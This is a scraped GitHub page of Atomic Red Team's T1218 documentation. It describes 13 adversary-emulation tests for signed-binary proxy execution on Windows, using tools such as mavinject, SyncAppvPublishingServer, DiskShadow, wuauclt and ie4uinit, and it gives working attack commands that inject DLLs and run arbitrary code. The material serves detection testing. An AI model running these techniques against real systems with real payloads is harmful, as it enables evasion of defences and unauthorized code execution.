

Product

▼

Solutions

▼

Resources

▼

Open Source

▼

Enterprise

▼

Pricing

Search

Sign in

Sign up

redcanaryco / atomic-red-team

Public

Notifications

Fork

2.8k

Star

9.7k

<> Code

Issues

6

Pull requests

5

Actions

Wiki

Security

Insights

Files

f339e7d

Go to file

> .github

> atomic\_red\_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

> T1003.006

> T1003.007

> T1003.008

> T1003

> T1006

> T1007

> T1010

> T1012

> T1014

> T1016

> T1018

> T1020

> T1021.001

> T1021.002

> T1021.003

> T1021.006

> T1027.001

> T1027.002

> T1027.004

> T1027

> T1030

> T1033

> T1036.003

> T1036.004

> T1036.005

> T1036.006

> T1036

atomic-red-team / atomics / T1218 / T1218.md

Atomic Red Team doc generat...

Generated docs from job=generate-d... 819934c · 2 years ago

History

Preview

Code

Blame

617 lines (332 loc) · 18 KB

Raw

# T1218 - System Binary Proxy Execution

## Description from ATT&CK







Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. (Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as `split` to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)

## Atomic Tests

- [Atomic Test #1 - mavinject - Inject DLL into running process](#)
- [Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code](#)
- [Atomic Test #3 - Register-CimProvider - Execute evil dll](#)
- [Atomic Test #4 - InfDefaultInstall.exe .inf Execution](#)
- [Atomic Test #5 - ProtocolHandler.exe Downloaded a Suspicious File](#)
- [Atomic Test #6 - Microsoft.Workflow.Compiler.exe Payload Execution](#)
- [Atomic Test #7 - Renamed Microsoft.Workflow.Compiler.exe Payload Executions](#)
- [Atomic Test #8 - Invoke-ATHRemoteFXvGPUDisablementCommand base test](#)
- [Atomic Test #9 - DiskShadow Command Execution](#)
- [Atomic Test #10 - Load Arbitrary DLL via Wuauclt \(Windows Update Client\)](#)
- [Atomic Test #11 - Lolbin Gpscript logon option](#)
- [Atomic Test #12 - Lolbin Gpscript startup option](#)
- [Atomic Test #13 - Lolbas ie4uinit.exe use as proxy](#)

## Atomic Test #1 - mavinject - Inject DLL into running process

Page 1 of 9

- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.

Supported Platforms: Windows


auto\_generated\_guid: c426dacf-575d-4937-8611-a148a86a5e61

Inputs:

Name	Description	Type	Default Value
process_id	PID of process receiving injection	String	1000
dll_payload	DLL to inject	Path	PathToAtomicsFolder\T1218\src\x64\T1218.dll

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

mavinject.exe #{process\_id} /INJECTRUNNING #{dll\_payload}




Dependencies: Run with **powershell** !

Description: T1218.dll must exist on disk at specified location (#{dll\_payload})

Check Prereq Commands:

if (Test-Path #{dll\_payload}) {exit 0} else {exit 1}



Get Prereq Commands:

New-Item -Type Directory (split-path #{dll\_payload}) -ErrorAction ignore  
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma



## Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code

Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. Requires Windows 10.

Supported Platforms: Windows

auto\_generated\_guid: d590097e-d402-44e2-ad72-2c6aa1ce78b1

Inputs:

Name	Description	Type	Default Value
powershell_code	PowerShell code to execute	String	Start-Process calc.exe

Attack Commands: Run with **command\_prompt** !

SyncAppvPublishingServer.exe "n; #{powershell\_code}"



## Atomic Test #3 - Register-CimProvider - Execute evil dll

Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB

Supported Platforms: Windows

auto\_generated\_guid: ad2c17ed-f626-4061-b21e-b9804a6f3655

Inputs:

Name	Description	Type	Default Value
dll_payload	DLL to execute	Path	PathToAtomicsFolder\T1218\src\Win32\T1218-2.dll

Attack Commands: Run with `command_prompt` !

```
C:\Windows\SysWow64\Register-CimProvider.exe -Path #{dll_payload}
```

Dependencies: Run with `powershell` !

Description: T1218-2.dll must exist on disk at specified location (#{dll\_payload})

Check Prereq Commands:

```
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```

## Atomic Test #4 - InfDefaultInstall.exe .inf Execution

Test execution of a .inf using InfDefaultInstall.exe

Reference: <https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml>

Supported Platforms: Windows

auto\_generated\_guid: 54ad7d5a-a1b5-472c-b6c4-f8090fb2daef

Inputs:

Name	Description	Type	Default Value
inf_to_execute	Local location of inf file	String	PathToAtomicsFolder\T1218\src\Infdefaultinst

Attack Commands: Run with `command_prompt` !

```
InfDefaultInstall.exe #{inf_to_execute}
```

Dependencies: Run with `powershell` !

Description: INF file must exist on disk at specified location (#{inf\_to\_execute})

Check Prereq Commands:

```
if (Test-Path ${inf_to_execute}) {exit 0} else {exit 1}
```



Get Prereq Commands:

```
New-Item -Type Directory (split-path ${inf_to_execute}) -ErrorAction ign  
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```



## Atomic Test #5 - ProtocolHandler.exe Downloaded a Suspicious File

Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.

Supported Platforms: Windows

auto\_generated\_guid: db020456-125b-4c8b-a4a7-487df8afb5a2

Inputs:

Name	Description	Type	Default Value
remote_url	url to document	Url	<a href="https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx">https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx</a>

Attack Commands: Run with `command_prompt` !

```
FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\Cu  
call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_
```



Dependencies: Run with `powershell` !

Description: Microsoft Word must be installed with the correct path and protocolhandler.exe must be provided

Check Prereq Commands:

```
if (Test-Path "(Resolve-Path "C:\Program Files*\Microsoft Office\root\Of
```



Get Prereq Commands:

```
write-host "Install Microsoft Word or provide correct path."
```



## Atomic Test #6 - Microsoft.Workflow.Compiler.exe Payload Execution

Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe

Supported Platforms: Windows

auto\_generated\_guid: 7cbb0f26-a4c1-4f77-b180-a009aa05637e

Inputs:

Name	Description	Type	Default
xml_payload	XML to execution	Path	PathToAtomicsFolder\T1218
mwcpath	Default location of Microsoft.Workflow.Compiler.exe	Path	C:\Windows\Microsoft.NET\
mwcname	Default name of microsoft.workflow.compiler.exe	Path	microsoft.workflow.compile

Attack Commands: Run with powershell !

```
#{mwcpath}\#{mwcname} "#{xml_payload}" output.txt
```

Dependencies: Run with powershell !

Description: .Net must be installed for this test to work correctly.

Check Prereq Commands:

```
if (Test-Path #{mwcpath}\#{mwcname} ) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
write-host ".Net must be installed for this test to work correctly."
```

## Atomic Test #7 - Renamed Microsoft.Workflow.Compiler.exe Payload Executions

Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe

Supported Platforms: Windows

auto\_generated\_guid: 4cc40fd7-87b8-4b16-b2d7-57534b86b911

Inputs:

Name	Description	Type	Def
xml_payload	XML to execution	Path	PathToAtomicsFolder\T1
renamed_binary	renamed Microsoft.Workflow.Compiler	Path	PathToAtomicsFolder\T1
mwcpath	Default location of Microsoft.Workflow.Compiler.exe	Path	C:\Windows\Microsoft.N
mwcname	Default name of microsoft.workflow.compiler.exe	Path	microsoft.workflow.com

Attack Commands: Run with powershell !

```
#{renamed_binary} #{xml_payload} output.txt
```

Dependencies: Run with powershell !

Description: .Net must be installed for this test to work correctly.

Check Prereq Commands:

```
Copy-Item #{mwcpath}\#{mwcname} "#{renamed_binary}" -Force
if (Test-Path "#{renamed_binary}") {exit 0} else {exit 1}
```



Get Prereq Commands:

```
write-host "you need to rename workflow compiler before you run this tes"
```



## Atomic Test #8 - Invoke-ATHRemoteFXvGPUDisablementCommand base test

RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).

One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted.

Invoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe.

The Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts.

Reference:  
[https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218\\_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1](https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1)

Supported Platforms: Windows

auto\_generated\_guid: 9ebe7901-7edf-45c0-b5c7-8366300919db

Inputs:

Name	Description	Type
module_name	Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random temporary module name is used. A PowerShell module can have any name. Because Get-VMRemoteFXPhysicalVideoAdapter abuses module load order, a module name must be specified.	String
module_path	Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the first entry in %PSModulePath% will be used. Typically, this is %USERPROFILE%\Documents\WindowsPowerShell\Modules.	String

Attack Commands: Run with powershell !

```
Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -Mod
```



Dependencies: Run with `powershell` !

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1}
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

## Atomic Test #9 - DiskShadow Command Execution

Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: <https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/>

Supported Platforms: Windows

auto\_generated\_guid: 0e1483ba-8f0c-425d-b8c6-42736e058eaa

Inputs:

Name	Description	Type	Default Value
txt_payload	txt to execute	Path	PathToAtomicsFolder\T1218\src\T1218.txt
dspath	Default location of DiskShadow.exe	Path	C:\Windows\System32\diskshadow.exe

Attack Commands: Run with `powershell` !

```
{dspath} -S {txt_payload}
```

Dependencies: Run with `powershell` !

Description: txt file must exist on disk at specified location ({txt\_payload})

Check Prereq Commands:

```
if (Test-Path {txt_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path {txt_payload}) -ErrorAction ignore
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/main/atomics/T1218/T1218.md"
```

Description: DiskShadow.exe must exist on disk at specified location ({dspath})

Check Prereq Commands:

```
if (Test-Path {dspath}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
echo "DiskShadow.exe not found on disk at expected location"
```

## Atomic Test #10 - Load Arbitrary DLL via Wuauctl (Windows Update Client)

This test uses Wuauctl to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. See <https://dtm.uk/wuauctl/>

Supported Platforms: Windows

auto\_generated\_guid: 49fbd548-49e9-4bb7-94a6-3769613912b8

Inputs:

Name	Description	Type	Default Value
arbitrary_dll	Path of DLL to be loaded	String	PathToAtomicsFolder\T1218\bin\calc.dll

Attack Commands: Run with `command_prompt` !

```
wuauctl.exe /UpdateDeploymentProvider #{arbitrary_dll} /RunHandlerComSer
```

Cleanup Commands:

```
taskkill /f /im calculator.exe > nul 2>&1
```

Dependencies: Run with `powershell` !

Description: DLL to load must exist on disk as specified location (#{arbitrary\_dll})

Check Prereq Commands:

```
if (test-path "#{arbitrary_dll}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{arbitrary_dll}) -ErrorAction igno
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/m
```

## Atomic Test #11 - Lolbin Gpscript logon option

Executes logon scripts configured in Group Policy. <https://lolbas-project.github.io/lolbas/Binaries/Gpscript/> <https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/>

Supported Platforms: Windows

auto\_generated\_guid: 5bcda9cd-8e85-48fa-861d-b5a85d91d48c

Attack Commands: Run with `command_prompt` !

```
Gpscript /logon
```



## Atomic Test #12 - Lolbin Gpscript startup option

Executes startup scripts configured in Group Policy <https://lolbas-project.github.io/lolbas/Binaries/Gpscript/> <https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/>

Supported Platforms: Windows

auto\_generated\_guid: f8da74bb-21b8-4af9-8d84-f2c8e4a220e3

Attack Commands: Run with `command_prompt` !

Gpscript /startup

## Atomic Test #13 - Lolbas ie4uinit.exe use as proxy

Executes commands from a specially prepared ie4uinit.inf file. Poc from : <https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/> Reference: <https://lolbas-project.github.io/lolbas/Binaries/le4uinit/>

Supported Platforms: Windows

auto\_generated\_guid: 13c0804e-615e-43ad-b223-2dfbacd0b0b3

Inputs:

Name	Description	Type	Default Value
Path_inf	Path to the cab file	Path	PathToAtomicsFolder\T1218\src\ieuinit.inf
Path_ie4uinit	Path to ie4uinit.exe	Path	c:\windows\system32\ie4uinit.exe

Attack Commands: Run with `command_prompt` !

copy #{Path\_ie4uinit} %TEMP%\ie4uinit.exe  
copy #{Path\_inf} %TEMP%\ieuinit.inf  
%TEMP%\ie4uinit.exe -BaseSettings

Cleanup Commands:

del %TEMP%\ie4uinit.exe >nul 2>&1  
del %TEMP%\ieuinit.inf >nul 2>&1